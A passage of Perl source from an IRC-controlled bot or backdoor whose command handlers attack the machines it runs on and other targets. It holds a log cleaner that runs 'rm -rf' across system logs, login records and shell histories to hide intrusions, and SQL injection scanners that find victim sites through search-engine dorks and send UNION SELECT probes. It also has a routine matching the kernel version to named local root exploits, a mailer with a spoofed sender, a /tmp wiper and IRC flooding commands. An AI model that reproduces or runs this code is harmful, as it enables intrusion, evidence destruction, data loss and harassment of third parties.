<PRE>   if ($funcarg =~ /^logcleaner/) {                                                </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Log-Cleaner 12]  LogCleaner :. |  This process can be long, just wait");</PRE>
<PRE>       system 'rm -rf /var/log/lastlog';                                           </PRE>
<PRE>       system 'rm -rf /var/log/wtmp';                                              </PRE>
<PRE>      system 'rm -rf /etc/wtmp';                                                   </PRE>
<PRE>      system 'rm -rf /var/run/utmp';                                               </PRE>
<PRE>      system 'rm -rf /etc/utmp';                                                   </PRE>
<PRE>      system 'rm -rf /var/log';                                                    </PRE>
<PRE>      system 'rm -rf /var/logs';                                                   </PRE>
<PRE>      system 'rm -rf /var/adm';                                                    </PRE>
<PRE>      system 'rm -rf /var/apache/log';                                             </PRE>
<PRE>      system 'rm -rf /var/apache/logs';                                            </PRE>
<PRE>      system 'rm -rf /usr/local/apache/log';                                       </PRE>
<PRE>      system 'rm -rf /usr/local/apache/logs';                                      </PRE>
<PRE>      system 'rm -rf /root/.bash_history';                                         </PRE>
<PRE>      system 'rm -rf /root/.ksh_history';                                          </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Log-Cleaner 12]  LogCleaner :. |  All default log and bash_history files erased");</PRE>
<PRE>         sleep 1;                                                                  </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Log-Cleaner 12]  LogCleaner :. |  Now Erasing the rest of the machine log files");</PRE>
<PRE>      system 'find / -name *.bash_history -exec rm -rf {} \;';                     </PRE>
<PRE>      system 'find / -name *.bash_logout -exec rm -rf {} \;';                      </PRE>
<PRE>      system 'find / -name "log*" -exec rm -rf {} \;';                             </PRE>
<PRE>      system 'find / -name *.log -exec rm -rf {} \;';                              </PRE>
<PRE>         sleep 1;                                                                  </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Log-Cleaner 12]  LogCleaner :. |  Done! All logs erased");</PRE>
<PRE>         }                                                                         </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   # End of Log Cleaner #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #              SQL SCANNER              #                                       </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>                                                                                   </PRE>
<PRE>   if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){                                </PRE>
<PRE>      if (my $pid = fork) {                                                        </PRE>
<PRE>         waitpid($pid, 0);                                                         </PRE>
<PRE>      } else {                                                                     </PRE>
<PRE>         if (my $d=fork()) {                                                       </PRE>
<PRE>            addproc($d,"[SQL2] $2");                                               </PRE>
<PRE>            exit;                                                                  </PRE>
<PRE>         } else {                                                                  </PRE>
<PRE>                                                                                   </PRE>
<PRE>            my $bug=$1;                                                            </PRE>
<PRE>            my $dork=$2;                                                           </PRE>
<PRE>            my $contatore=0;                                                       </PRE>
<PRE>            my ($type,$space);                                                     </PRE>
<PRE>            my %hosts;                                                             </PRE>
<PRE>            my $columns=$3;                                                        </PRE>
<PRE>                                                                                   </PRE>
<PRE>                           ### Start Message                                       </PRE>
<PRE>                           sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3SQL-Scanner 12] Starting Scan for  4$bug $dork");</PRE>
<PRE>                           sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3SQL-Scanner 12] Initializing on  45  12Search Engines ");</PRE>
<PRE>                           ### End of Start Message                                </PRE>
<PRE>               # Starting Google                                                   </PRE>
<PRE>               my @glist=&google($dork);                                           </PRE>
<PRE>                           sendraw($IRC_cur_socket, "PRIVMSG $printl  7[ 4@ 3SQL-Scanner 12]   2G 4o 8o 2g 3l 4e   7[ ".scalar(@glist)." 7]  Sites");</PRE>
<PRE>                           my @mlist=&msn($dork);                                  </PRE>
<PRE>                           my @asklist=&ask($dork);                                </PRE>
<PRE>                           my @allist=&alltheweb($dork);                           </PRE>
<PRE>                           my @aollist=&aol($dork);                                </PRE>
<PRE>                           my @lycos=&lycos($dork);                                </PRE>
<PRE>                           my @ylist=&yahoo($dork);                                </PRE>
<PRE>                           my @mzlist=&mozbot($dork);                              </PRE>
<PRE>                           my @mamalist&mamma($dork);                              </PRE>
<PRE>                           my @hlist=&hotbot($dork);                               </PRE>
<PRE>                           my @altlist=&altavista($dork);                          </PRE>
<PRE>                           my @slist=&search($dork);                               </PRE>
<PRE>                           my @ulist=&uol($dork);                                  </PRE>
<PRE>                           my @fireball=&fireball($dork);                          </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12   2G 4o 8o 2g 3l 4e   7[ ".scalar(@glist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  MSN  7[ ".scalar(@mlist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  AllTheWeb  7[ ".scalar(@allist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  Ask.com  7[ ".scalar(@asklist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  AOL  7[ ".scalar(@aollist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  Lycos  7[ ".scalar(@lycos)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  Yahoo!  7[ ".scalar(@ylist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  MozBot  7[ ".scalar(@mzlist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  Mama  7[ ".scalar(@mamalist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  HotBot  7[ ".scalar(@hlist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  Altavista  7[ ".scalar(@altlist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  Search[dot]com  7[ ".scalar(@slist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  UoL  7[ ".scalar(@ulist)." 7]  Sites");</PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3SQL-Scanner 12] 12  FireBall  7[ ".scalar(@flist)." 7]  Sites");</PRE>
<PRE>                                                                                   </PRE>
<PRE>               push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );</PRE>
<PRE>                                                                                   </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,16 [ scan ]  [  12Filtruje 4 ][ ".scalar(@tot)."  12Stron 4 ] ");</PRE>
<PRE>               my @puliti=&unici(@tot);                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,16 [ SQL ]  [  12$dork 4 ][ ".scalar(@puliti)."  12Stron 4 ] ");</PRE>
<PRE>                                                                                   </PRE>
<PRE>               my $uni=scalar(@puliti);                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>                     foreach my $sito (@puliti) {                                  </PRE>
<PRE>                                                                                   </PRE>
<PRE>                     $contatore++;                                                 </PRE>
<PRE>                       if ($contatore %5==0){                                      </PRE>
<PRE>                          sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,16 [ scan ]  [  12Skanuje 4 ][ ".$contatore."  12z 4 ".$uni. "  12Stron 4 ] ");</PRE>
<PRE>                       }                                                           </PRE>
<PRE>                     sleep 3;                                                      </PRE>
<PRE>                       if ($contatore==$uni-1){                                    </PRE>
<PRE>                        sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,16 [ scan ]  [  12Koniec: 4 $bug $dork ] ");</PRE>
<PRE>                       }                                                           </PRE>
<PRE>                     sleep 3;                                                      </PRE>
<PRE>                       my $site="http://".$sito.$bug;                              </PRE>
<PRE>                     sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,16 [ sql ]  [  12Sprawdzam:  4$site  12cols:  4 $columns ] ");</PRE>
<PRE>                                                                                   </PRE>
<PRE>            $w=int rand(999);                                                      </PRE>
<PRE>            $w=$w*1000;                                                            </PRE>
<PRE>            for($i=1;$i<=$columns;$i++) {                                          </PRE>
<PRE>               splice(@col,0,$#col+1);                                             </PRE>
<PRE>               for($j=1;$j<=$i;$j++) {                                             </PRE>
<PRE>                  push(@col,$w+$j);                                                </PRE>
<PRE>               }                                                                   </PRE>
<PRE>               $tmp=join(",",@col);                                                </PRE>
<PRE>               $test=$site."-1+UNION+SELECT+".$tmp."/*";                           </PRE>
<PRE>               print $test."\n";                                                   </PRE>
<PRE>               $result=get_html($test);                                            </PRE>
<PRE>               $result =~ s/\/\*\*\///g;                                           </PRE>
<PRE>               $result =~ s/UNION([^(\*)]*)//g;                                    </PRE>
<PRE>               for($k=1;$k<=$i;$k++) {                                             </PRE>
<PRE>                  $n=$w+$k;                                                        </PRE>
<PRE>                     if($result =~ /$n/){                                          </PRE>
<PRE>                        splice(@col2,0,$#col2+1);                                  </PRE>
<PRE>                           for($s=1;$s<=$i;$s++) {                                 </PRE>
<PRE>                              push(@col2,$s);                                      </PRE>
<PRE>                           }                                                       </PRE>
<PRE>                        $tmp2=join(",",@col2);                                     </PRE>
<PRE>                        $test2="+UNION+SELECT+".$tmp2."/*";                        </PRE>
<PRE>                        push @{$dane{$test2}},$k;                                  </PRE>
<PRE>                     }                                                             </PRE>
<PRE>               }                                                                   </PRE>
<PRE>            }                                                                      </PRE>
<PRE>            for $klucz (keys %dane) {                                              </PRE>
<PRE>               foreach $i(@{$dane{$klucz}}) {                                      </PRE>
<PRE>                  $klucz =~ s/$i/ $i /;                                            </PRE>
<PRE>               }                                                                   </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 13,1 [  vuln  ]  9,1 [  ".$site."-1".$klucz."  ]   ");</PRE>
<PRE>            }                                                                      </PRE>
<PRE>            %dane=();                                                              </PRE>
<PRE>               }                                                                   </PRE>
<PRE>         }                                                                         </PRE>
<PRE>      delproc($$);                                                                 </PRE>
<PRE>      exit;                                                                        </PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   #######  SQL SCANNER  #########                                                 </PRE>
<PRE>                                                                                   </PRE>
<PRE>   if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){           </PRE>
<PRE>   if (my $pid = fork) {                                                           </PRE>
<PRE>   waitpid($pid, 0);                                                               </PRE>
<PRE>   } else {                                                                        </PRE>
<PRE>   if (my $d=fork()) {                                                             </PRE>
<PRE>   addproc($d,"[String] $2");                                                      </PRE>
<PRE>   exit;                                                                           </PRE>
<PRE>   } else {                                                                        </PRE>
<PRE>         $kto = $1;                                                                </PRE>
<PRE>         $host = $2;                                                               </PRE>
<PRE>         $skrypt = $3;                                                             </PRE>
<PRE>         $czekac=$4;                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>         #http://ttl.ugu.pl/string/index.php                                       </PRE>
<PRE>         my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;</PRE>
<PRE>         print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";</PRE>
<PRE>                                                                                   </PRE>
<PRE>         my @r = <$socke>;                                                         </PRE>
<PRE>         $page="@r";                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>         $page =~ s/!scan(\s+)//g;                                                 </PRE>
<PRE>         $page =~ s/!scan(.)//g;                                                   </PRE>
<PRE>         $page =~ s/\<.*\>//g;                                                     </PRE>
<PRE>                                                                                   </PRE>
<PRE>         @lines = split (/\n/, $page);                                             </PRE>
<PRE>         $ile=scalar(@lines);                                                      </PRE>
<PRE>                                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>         for($i=9;$i<=$ile;$i+=4) {                                                </PRE>
<PRE>                                                                                   </PRE>
<PRE>            for($j=0;$j<4;$j++) {                                                  </PRE>
<PRE>               #print $lines[$i+$j]."\n";                                          </PRE>
<PRE>                                                                                   </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");    </PRE>
<PRE>                                                                                   </PRE>
<PRE>               sleep 10;                                                           </PRE>
<PRE>            }                                                                      </PRE>
<PRE>                                                                                   </PRE>
<PRE>            sleep $czekac*60;                                                      </PRE>
<PRE>         }                                                                         </PRE>
<PRE>                                                                                   </PRE>
<PRE>      }                                                                            </PRE>
<PRE>         delproc($$);                                                              </PRE>
<PRE>         exit;                                                                     </PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>   #######  SQL SCANNER  #########                                                 </PRE>
<PRE>                                                                                   </PRE>
<PRE>   if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){                                         </PRE>
<PRE>      if (my $pid = fork()) {                                                      </PRE>
<PRE>         waitpid($pid, 0);                                                         </PRE>
<PRE>      } else {                                                                     </PRE>
<PRE>         if (my $d=fork()) {                                                       </PRE>
<PRE>            addproc($d,"[SQL1] $1 $2");                                            </PRE>
<PRE>            exit;                                                                  </PRE>
<PRE>         } else {                                                                  </PRE>
<PRE>            my $site=$1;                                                           </PRE>
<PRE>            my $columns=$2;                                                        </PRE>
<PRE>            sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,16 [ sql ]  [  12Sprawdzam:  4$site  12cols:  4 $columns ] ");</PRE>
<PRE>                                                                                   </PRE>
<PRE>            $w=int rand(999);                                                      </PRE>
<PRE>            $w=$w*1000;                                                            </PRE>
<PRE>            for($i=1;$i<=$columns;$i++) {                                          </PRE>
<PRE>               splice(@col,0,$#col+1);                                             </PRE>
<PRE>               for($j=1;$j<=$i;$j++) {                                             </PRE>
<PRE>                  push(@col,$w+$j);                                                </PRE>
<PRE>               }                                                                   </PRE>
<PRE>               $tmp=join(",",@col);                                                </PRE>
<PRE>               $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";                      </PRE>
<PRE>                           #$result=query($test);                                  </PRE>
<PRE>               $result=get_html($test);                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>               $result =~ s/\/\*\*\///g;                                           </PRE>
<PRE>               $result =~ s/UNION([^(\*)]*)//g;                                    </PRE>
<PRE>               for($k=1;$k<=$i;$k++) {                                             </PRE>
<PRE>                  $n=$w+$k;                                                        </PRE>
<PRE>                     if($result =~ /$n/){                                          </PRE>
<PRE>                        splice(@col2,0,$#col2+1);                                  </PRE>
<PRE>                           for($s=1;$s<=$i;$s++) {                                 </PRE>
<PRE>                              push(@col2,$s);                                      </PRE>
<PRE>                           }                                                       </PRE>
<PRE>                        $tmp2=join(",",@col2);                                     </PRE>
<PRE>                        $test2="+UNION+SELECT+".$tmp2."/*";                        </PRE>
<PRE>                        push @{$dane{$test2}},$k;                                  </PRE>
<PRE>                     }                                                             </PRE>
<PRE>               }                                                                   </PRE>
<PRE>            }                                                                      </PRE>
<PRE>            for $klucz (keys %dane) {                                              </PRE>
<PRE>               foreach $i(@{$dane{$klucz}}) {                                      </PRE>
<PRE>                  $klucz =~ s/$i/ $i /;                                            </PRE>
<PRE>               }                                                                   </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 13,1 [  vuln  ]  9,1 [  ".$site.$bug."-1".$klucz."  ]   ");</PRE>
<PRE>            }                                                                      </PRE>
<PRE>            sendraw($IRC_cur_socket, "PRIVMSG $printl : 4,16 [ sql ]  [  12Koniec  4 ] ");      </PRE>
<PRE>         }                                                                         </PRE>
<PRE>      delproc($$);                                                                 </PRE>
<PRE>      exit;                                                                        </PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   #######  SQL SCANNER  #########                                                 </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #        Rootable                                     #                         </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   if ($funcarg =~ /^rootable/) {                                                  </PRE>
<PRE>   my $khost = `uname -r`;                                                         </PRE>
<PRE>   my $currentid = `whoami`;                                                       </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Rootable 12] Currently you are ".$currentid." ");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Rootable 12] The kernel of this box is ".$khost." ");</PRE>
<PRE>   chomp($khost);                                                                  </PRE>
<PRE>                                                                                   </PRE>
<PRE>      my %h;                                                                       </PRE>
<PRE>      $h{'w00t'} = {                                                               </PRE>
<PRE>         vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']    </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'brk'} = {                                                                </PRE>
<PRE>         vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']                               </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'ave'} = {                                                                </PRE>
<PRE>         vuln=>['2.4.19','2.4.20']                                                 </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'elflbl'} = {                                                             </PRE>
<PRE>         vuln=>['2.4.29']                                                          </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'elfdump'} = {                                                            </PRE>
<PRE>         vuln=>['2.4.27']                                                          </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'expand_stack'} = {                                                       </PRE>
<PRE>         vuln=>['2.4.29']                                                          </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'h00lyshit'} = {                                                          </PRE>
<PRE>         vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']</PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'kdump'} = {                                                              </PRE>
<PRE>         vuln=>['2.6.13']                                                          </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'km2'} = {                                                                </PRE>
<PRE>         vuln=>['2.4.18','2.4.22']                                                 </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'krad'} = {                                                               </PRE>
<PRE>         vuln=>['2.6.11']                                                          </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'krad3'} = {                                                              </PRE>
<PRE>         vuln=>['2.6.11','2.6.9']                                                  </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'local26'} = {                                                            </PRE>
<PRE>         vuln=>['2.6.13']                                                          </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'loko'} = {                                                               </PRE>
<PRE>         vuln=>['2.4.22','2.4.23','2.4.24']                                        </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'mremap_pte'} = {                                                         </PRE>
<PRE>         vuln=>['2.4.20','2.2.25','2.4.24']                                        </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'newlocal'} = {                                                           </PRE>
<PRE>         vuln=>['2.4.17','2.4.19','2.4.18']                                        </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'ong_bak'} = {                                                            </PRE>
<PRE>         vuln=>['2.4.','2.6.']                                                     </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'ptrace'} = {                                                             </PRE>
<PRE>         vuln=>['2.2.','2.4.22']                                                   </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'ptrace_kmod'} = {                                                        </PRE>
<PRE>         vuln=>['2.4.2']                                                           </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'ptrace24'} = {                                                           </PRE>
<PRE>         vuln=>['2.4.9']                                                           </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'pwned'} = {                                                              </PRE>
<PRE>         vuln=>['2.4.','2.6.']                                                     </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'py2'} = {                                                                </PRE>
<PRE>         vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']                                </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'raptor_prctl'} = {                                                       </PRE>
<PRE>         vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']                               </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'prctl3'} = {                                                             </PRE>
<PRE>         vuln=>['2.6.13','2.6.17','2.6.9']                                         </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'remap'} = {                                                              </PRE>
<PRE>         vuln=>['2.4.']                                                            </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'rip'} = {                                                                </PRE>
<PRE>         vuln=>['2.2.']                                                            </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'stackgrow2'} = {                                                         </PRE>
<PRE>         vuln=>['2.4.29','2.6.10']                                                 </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'uselib24'} = {                                                           </PRE>
<PRE>         vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']                               </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'newsmp'} = {                                                             </PRE>
<PRE>         vuln=>['2.6.']                                                            </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'smpracer'} = {                                                           </PRE>
<PRE>         vuln=>['2.4.29']                                                          </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'loginx'} = {                                                             </PRE>
<PRE>         vuln=>['2.4.22']                                                          </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'exp.sh'} = {                                                             </PRE>
<PRE>         vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']                                </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'prctl'} = {                                                              </PRE>
<PRE>         vuln=>['2.6.']                                                            </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'kmdx'} = {                                                               </PRE>
<PRE>         vuln=>['2.6.','2.4.']                                                     </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'raptor'} = {                                                             </PRE>
<PRE>         vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']                               </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>      $h{'raptor2'} = {                                                            </PRE>
<PRE>         vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']                               </PRE>
<PRE>      };                                                                           </PRE>
<PRE>                                                                                   </PRE>
<PRE>   foreach my $key(keys %h){                                                       </PRE>
<PRE>   foreach my $kernel ( @{ $h{$key}{'vuln'} } ){                                   </PRE>
<PRE>      if($khost=~/^$kernel/){                                                      </PRE>
<PRE>      chop($kernel) if ($kernel=~/.$/);                                            </PRE>
<PRE>      sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Rootable 12] Possible Local Root Exploits: ". $key ." ");</PRE>
<PRE>         }                                                                         </PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #       MAILER       #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {                      </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Mailer 12]  Mailer :. |  Sending Mail to : 2 $3");</PRE>
<PRE>   $subject = $1;                                                                  </PRE>
<PRE>   $sender = $2;                                                                   </PRE>
<PRE>   $recipient = $3;                                                                </PRE>
<PRE>   @corpo = $4;                                                                    </PRE>
<PRE>   $mailtype = "content-type: text/html";                                          </PRE>
<PRE>   $sendmail = '/usr/sbin/sendmail';                                               </PRE>
<PRE>   open (SENDMAIL, "| $sendmail -t");                                              </PRE>
<PRE>   print SENDMAIL "$mailtype\n";                                                   </PRE>
<PRE>   print SENDMAIL "Subject: $subject\n";                                           </PRE>
<PRE>   print SENDMAIL "From: $sender\n";                                               </PRE>
<PRE>   print SENDMAIL "To: $recipient\n\n";                                            </PRE>
<PRE>   print SENDMAIL "@corpo\n\n";                                                    </PRE>
<PRE>   close (SENDMAIL);                                                               </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Mailer 12]   Mailer :. |  Mail Sent To : 2 $recipient");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #   End of MAILER    #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   # A /tmp cleaner                                                                </PRE>
<PRE>   if ($funcarg =~ /^cleartmp/) {                                                  </PRE>
<PRE>       system 'cd /tmp;rm -rf *';                                                  </PRE>
<PRE>            sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3TMPCleaner 12] /tmp is Cleaned");</PRE>
<PRE>            }                                                                      </PRE>
<PRE>   #-#-#-#-#-#-#-#-#                                                               </PRE>
<PRE>   # Flooders IRC  #                                                               </PRE>
<PRE>   #-#-#-#-#-#-#-#-#                                                               </PRE>
<PRE>   # msg, @msgflood <who>                                                          </PRE>
<PRE>   if ($funcarg =~ /^msgflood (.+?) (.*)/) {                                       </PRE>
<PRE>      for($i=0; $i<=10; $i+=1){                                                    </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);                           </PRE>
<PRE>      }                                                                            </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3MSGFlood 12] 14 Excecuted on ".$1." ");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   # dccflood, @dccflood <who>                                                     </PRE>
<PRE>   if ($funcarg =~ /^dccflood (.*)/) {                                             </PRE>
<PRE>      for($i=0; $i<=10; $i+=1){                                                    </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");</PRE>
<PRE>      }                                                                            </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3DCCFlood 12] 14 Excecuted on ".$1." ");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   # ctcpflood, @ctcpflood <who>                                                   </PRE>
<PRE>   if ($funcarg =~ /^ctcpflood (.*)/) {                                            </PRE>
<PRE>      for($i=0; $i<=10; $i+=1){                                                    </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");            </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");               </PRE>
<PRE>      }                                                                            </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3CTCPFlood 12] 14 Excecuted on ".$1." ");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   # noticeflood, @noticeflood <who>                                               </PRE>
<PRE>      if ($funcarg =~ /^noticeflood (.*)/) {                                       </PRE>
<PRE>         for($i=0; $i<=10; $i+=1){                                                 </PRE>
<PRE>            sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");                 </PRE>
<PRE>      }                                                                            </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3NoticeFlood 12] 14 Excecuted on ".$1." ");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   # Channel Flood, @channelflood                                                  </PRE>
<PRE>   if ($funcarg =~ /^channelflood/) {                                              </PRE>
<PRE>      for($i=0; $i<=25; $i+=1){                                                    </PRE>
<PRE>         sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );                   </PRE>
<PRE>      }                                                                            </PRE>
